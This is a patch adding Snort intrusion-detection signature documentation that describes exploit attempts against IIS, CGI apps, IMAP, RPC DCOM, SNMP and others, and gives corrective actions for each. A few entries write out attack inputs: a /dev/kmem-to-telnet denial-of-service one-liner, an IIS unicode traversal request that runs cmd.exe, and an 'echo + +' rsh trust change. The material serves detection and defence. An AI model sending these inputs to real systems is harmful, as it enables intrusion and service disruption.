+http://www.f-secure.com/v-descs/subseven.shtml
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1048.txt
+++ snort-2.8.5.2/doc/signatures/1048.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1048
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1220.txt
+++ snort-2.8.5.2/doc/signatures/1220.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1220
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1930.txt
+++ snort-2.8.5.2/doc/signatures/1930.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+1930
+
+--
+Summary:
+This event is generated when a remote attacker sends an overly long
+argument in the AUTH command to an internal IMAP server, indicating an
+attempt to exploit a buffer overflow vulnerability in Netscape Messaging
+Server and University of Washington IMAP implementations. This may also
+affect other IMAP server implementations.
+
+--
+Impact:
+Remote execution of arbitrary code with the security privileges of the
+IMAP process, possibly leading to remote root compromise.
+
+--
+Detailed Information:
+A buffer overflow vulnerability exists in the AUTHENTICATE command in
+University of Washington IMAP and Netscape Messaging Server. This can
+allow a remote attacker to send an AUTHENTICATE command with a
+malformed, overlong argument to a vulnerable IMAP server, causing a
+buffer overflow condition. The attacker can then execute arbitrary code
+on the server with the security privileges of the IMAP server process.
+
+--
+Affected Systems:
+	Netscape Messaging Server 3.55 and earlier
+	University of Washington imapd 10.234 and earlier.
+
+--
+Attack Scenarios:
+An attacker sends an overly long, malformed argument to an AUTHENTICATE
+command to a vulnerable IMAP server, causing a buffer overflow
+condition. The attacker may then be able to execute arbitrary code on the
+server with the security privileges of the IMAP server process.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Patches have been released for both UW IMAP and Netscape Messaging
+Server. Apply the patch or upgrade to a Netscape Messaging Server
+version higher than 3.55 or UW IMAP version higher than 10.234.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/130
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3054.txt
+++ snort-2.8.5.2/doc/signatures/3054.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+3054
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Ethereal.
+
+-- 
+Impact: 
+Serious. Denial of Service (DoS).
+
+--
+Detailed Information:
+Ethereal is a multi-platform network protocol analyser capable of
+displaying network data to the user in a graphical user interface.
+
+An error in the processing of access control lists (ACLs) concerning the
+size of the access control entries (ACEs) may lead to a Denial of Service
+(DoS) condition in Ethereal. The ACL parsing routine trusts the size of
+the ACE given in the packet during processing. If a sufficiently large ACL
+structure is supplied combined with a specified ACE size of 0, it is
+possible to cause the DoS condition to occur.
+
+--
+Affected Systems:
+	Ethereal 0.10.7 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to craft packet data containing large NT ACLs, the
+attacker then needs to specify one of the ACEs as having a size of 0.
+
+-- 
+Ease of Attack: 
+Moderate.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3178.txt
+++ snort-2.8.5.2/doc/signatures/3178.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3178
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1508.txt
+++ snort-2.8.5.2/doc/signatures/1508.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1508
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1052.txt
+++ snort-2.8.5.2/doc/signatures/1052.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1052
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2001.txt
+++ snort-2.8.5.2/doc/signatures/2001.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+2001
+
+--
+Summary:
+This event is generated when a remote user attempts to access smartsearch.cgi on a web server. This may indicate an attempt to exploit an arbitrary code execution vulnerability in Smart Search, a "pay-per-click" search engine.
+
+--
+Impact:
+Arbitrary code execution.
+
+--
+Detailed Information:
+Smart Search "pay-per-click" search engine software contains a vulnerability that allows code execution using a specially-crafted URL. Using the "keywords" parameter accepted by smartsearch.cgi, an attacker can pass arbitrary Perl code to the web server, which will then attempt to execute it.
+
+--
+Affected Systems:
+Any server using Smart Search 4.x.
+
+--
+Attack Scenarios:
+An attacker can pass Perl code to a web server running Smart Search by forwarding a URL with specific keyword parameters. The web server will then attempt to execute the commands included in the URL.
+
+--
+Ease of Attack:
+Simple. An exploit exists.
+
+--
+False Positives:
+If a legitimate remote user accesses smartsearch.cgi, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+It is not known if this vulnerability has been patched in recent versions. Contact the vendor (http://www.smarterscripts.com/smartsearch/index.shtml) for more details. 
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+SecuriTeam
+http://www.securiteam.com/exploits/5AP041F8VA.html
+
+Secunia
+http://www.secunia.com/advisories/8389/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1414.txt
+++ snort-2.8.5.2/doc/signatures/1414.txt
@@ -0,0 +1,78 @@
+Rule:
+
+--
+Sid:
+1414
+
+--
+
+Summary:
+This event is generated when an SNMP connection over TCP using the 
+default 'private' community is made.
+
+--
+
+Impact:
+Information gathering
+
+--
+
+Detailed Information:
+SNMP (Simple Network Management Protocol) v1 uses communities and IP 
+addresses to authenticate communication between the SNMP client and SNMP
+daemon. Many SNMP implementations come pre-configured with 'public' and 
+'private' communities. If these are not disabled, the attacker can 
+gather a great deal of information about the device running the SNMP 
+daemon.
+
+--
+
+Affected Systems:
+Devices running SNMP daemons with 'public' community enabled.
+
+--
+
+Attack Scenarios:
+An attacker scans a range of IPs for SNMP servers having the 'public' 
+community set and gathers information about the hosts.
+
+--
+
+Ease of Attack:
+Simple.
+
+--
+
+False Positives:
+None known.
+
+--
+
+False Negatives:
+None known.
+
+--
+
+Corrective Action:
+Disable the 'public' and 'private' communities before connecting the 
+device with SNMP on the Internet or block access to SNMP ports using a 
+packet filtering firewall for unauthorized addresses.
+
+--
+
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Chaos <c@aufbix.org>
+
+-- 
+
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0013
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0012
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0517
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1033.txt
+++ snort-2.8.5.2/doc/signatures/1033.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1033
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft Internet Information
+Server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft Internet Information Server (IIS). Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft IIS
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2292.txt
+++ snort-2.8.5.2/doc/signatures/2292.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+2292
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP web application Proxy2.de Advanced Poll 2.0.2
+running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt may have been made to exploit a
+known vulnerability in the PHP application Proxy2.de Advanced Poll
+2.0.2. This application does not perform stringent checks when handling
+user input, this may lead to the attacker being able to execute PHP
+code, include php files and possibly retrieve sensitive files from the
+server running the application.
+
+--
+Affected Systems:
+	All systems running Proxy2.de Advanced Poll 2.0.2
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. No exploit code is required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/275.txt
+++ snort-2.8.5.2/doc/signatures/275.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+275
+
+--
+Summary:
+This event is generated when a remote attacker transmits a malformed TCP packet to an internal server. This may indicate a "NAPTHA" Denial of Service (DoS) attack.
+
+--
+Impact:
+Denial of service.
+
+--
+Detailed Information:
+An attacker can craft a TCP packet that, when transmitted to the target server, maintains the TCP session on the target server in an unresolved state. This consumes system resources and overwhelms the target server, causing the server to stop responding to other network requests. In some cases, this type of attack can crash the target server.   
+
+--
+Affected Systems:
+Microsoft Windows 95
+Microsoft Windows 98
+Microsoft Windows 98SE
+Microsoft Windows Millennium
+Windows NT 4.0
+HP-UX 11
+IBM AIX 4.3
+Sun Solaris 7-8
+FreeBSD 4.0-REL
+Redhat Linux 6.1 - 7.0
+Other Linux operating systems based on the Linux 2.0 kernel
+
+
+--
+Attack Scenarios:
+An attacker sends a number of malformed TCP packets to a target computer. The computer attempts to maintain all incoming connections, causing it to slow down or stop responding to legitimate network requests.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Install the latest patches available for your operating system. Patches and workarounds for Microsoft are available at http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS00-091.asp.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1714.txt
+++ snort-2.8.5.2/doc/signatures/1714.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1714
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1923.txt
+++ snort-2.8.5.2/doc/signatures/1923.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+1923
+
+--
+Summary:
+This event is generated when an attempt is made to forward a Remote Procedure Call (RPC) request through the portmapper service.
+
+--
+Impact:
+Information disclosure.  This can detect and request RPC services offered.
+
+--
+Detailed Information:
+The RPC "callit" procedure allows the portmapper to act as a proxy to forward requests to other RPC services offered by the host. This allows an attacker to call an RPC service on the same host without knowing the port number associated with the RPC service.    
+
+--
+Affected Systems:
+All hosts running portmapper.
+
+--
+Attack Scenarios:
+An attacker can use the portmapper proxy to circumvent any required authentication when sending requests to the actual port associated with an RPC service.
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+According to RFC 1057, this proxy feature supports broadcasts to RPC services using the well-known portmapper port. 
+
+This rule also generates an event when legitimate hosts attempt to use the proxy feature.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines.
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+RFC:
+http://www.ietf.org/rfc/rfc1057.txt
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/603.txt
+++ snort-2.8.5.2/doc/signatures/603.txt
@@ -0,0 +1,59 @@
+Rule: 
+
+--
+Sid: 603
+
+--
+Summary: 
+This event is generated when an attempt to modify access control permissions for remote shell logins is attempted.
+
+--
+Impact: 
+An attacker may have modified remote login permissions such that any host is allowed to initiate a remote session on the target host.
+
+-- 
+Detailed Information: 
+The rule generates an event when system reconfiguration is attempted via "rsh". 
+
+The command "echo + +" is used to relax access control permissions for r-services to allow access from any site without the need for password authentication. 
+
+This activity is indicative of attempts to abuse hosts using a default configuration. 
+
+Some UNIX systems use the "rsh" service to allow a connection to the machine for establishing an interactive session.
+
+--
+Attack Scenarios: 
+An attacker finds a machine with "rsh" enabled and reconfigures it to allow access from any location
+
+--
+Ease of Attack: 
+Simple, no exploit software required
+
+--
+False Positives: 
+None Known
+
+--
+False Negatives: 
+None Known
+
+--
+Corrective Action: 
+Investigate logs on the target host for further details and more signs of suspicious activity
+
+Use ssh for remote access instead of rlogin.
+
+--
+Contributors: 
+Original rule by Max Vision <vision@whitehats.com> modified from a signature written by Ron Gula
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS385
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1605.txt
+++ snort-2.8.5.2/doc/signatures/1605.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+
+1605
+
+--
+Summary:
+This event is generated when an attempt is made to issue a Denial of Service to a host running iParty.
+
+--
+Impact:
+Denial of Service.
+
+--
+Detailed Information:
+iParty is an audio/text chat program for Windows.  The iParty server listens on a specified port 6004 for client requests. An attacker can connect to the chat server and send a large amount of '^?' characters (ASCII 255 or Hex FF), the server will simply shutdown and disconnect all the current users.  
+
+--
+Affected Systems:
+	iParty prior to 1.2
+
+--
+Attack Scenarios:
+cat /dev/kmem | telnet target 6004
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Nawapong Nakjang (tony@ksc.net, tonie@thai.com)
+
+--
+Additional References:
+
+http://www.securityspace.com/smysecure/catid.html?id=10111
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000590.txt
+++ snort-2.8.5.2/doc/signatures/100000590.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000590
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "editor_add.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "editor_add.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/983.txt
+++ snort-2.8.5.2/doc/signatures/983.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+983
+
+--
+Summary:
+This event is generated when an attempt is made use a unicode encoded representaion of a "\" in a URL request.  This may permit an attacker to navigate to files and directories outside the web root of a vulnerable Internet Information Services (IIS) server. 
+
+--
+Impact:
+Remote access.  This attack can allow an attacker to execute commands a vulnerable IIS server. 
+
+--
+Detailed Information:
+User access should be restricted to an assigned web root directory and subdirectories when interacting with a web server.  Attackers who attempt to perform directory traversals outside the web root should be denied access.  A vulnerability exists in IIS web servers that allows directory traversal outside the web root directory when unicode encoding of specific characters is used.  This particular attack uses the unicode encoding of the "\" to escape the web root.  This may permit an attacker to execute commands on the vulnerable server. 
+
+--
+Affected Systems:
+IIS 4.0, 5.0 servers
+
+--
+Attack Scenarios:
+An attacker can unicode encode a directory traversal character permitting execution of commands on the IIS server. 
+
+--
+Ease of Attack:
+Simple. 
+GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Apply the patch referenced in the Microsoft link. 
+ 
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0084
+
+Microsoft
+http://www.microsoft.com/technet/security/bulletin/ms00-078.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1019.txt
+++ snort-2.8.5.2/doc/signatures/1019.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 1019
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation on the host, this may be the prelude to an attack against that host using that information.
+
+The attacker may also be trying to gain administrator access to the host, garner information on users of the system or retrieve sensitive customer information.
+
+Some applications may store sensitive information such as database connections, user information, passwords and customer information in files accessible via a web interface. Care should be taken to ensure these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1380.txt
+++ snort-2.8.5.2/doc/signatures/1380.txt
@@ -0,0 +1,81 @@
+Rule:
+
+--
+Sid:
+1380
+
+--
+Summary:
+This event is generated when a cross-site scripting attack is being 
+attempted, or a potential attacker is testing your site to determine if 
+it is vulnerable.
+
+--
+Impact:
+Successful cross-site scripting attacks generally target the users of 
+your web site. Attackers can potentially gain access to your users' 
+cookies or session ids, allowing the attacker to impersonate your
+user. They could also set up elaborate fake logon screens to steal 
+user names and passwords.
+
+--
+Detailed Information:
+Whenever a web application accepts input (either via the URL or the 
+POST method) and then uses that input as part of the HTML of a new page 
+without filtering, the application is vulnerable to cross-site 
+scripting.  The traditional means of exploiting this is to embed a 
+"<SCRIPT>" tag into the input. The code following the tag is then 
+executed by the victim's browser.
+
+--
+Affected Systems:
+Many older versions of web server software are affected, as are numerous
+web applications.
+
+--
+Attack Scenarios:
+The most common avenue of attack is for the attacker to send an HTML 
+formatted email to the victim. The email will contain a link to a 
+specially crafted URL which contains the exploit. When the victim clicks
+on the link, they are directed to the vulnerable web site and the attack
+code is executed by their browser.
+
+--
+Ease of Attack:
+Moderately Easy.  Exploit code exists to automate attacks against users 
+of some widely deployed web applications which are known to be 
+vulnerable. 
+
+Finding vulnerabilities in other, including proprietary, web
+applications is fairly trivial and existing exploit code could easily be
+modified to take advantage of newly discovered vulnerabilities.
+
+--
+False Positives:
+Web pages that legimately include the <SCRIPT> tag could generate this 
+event under certain circumstances.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Determine if your web application is actually vulnerable to this 
+attack. If it is and the application is not of your own design, contact 
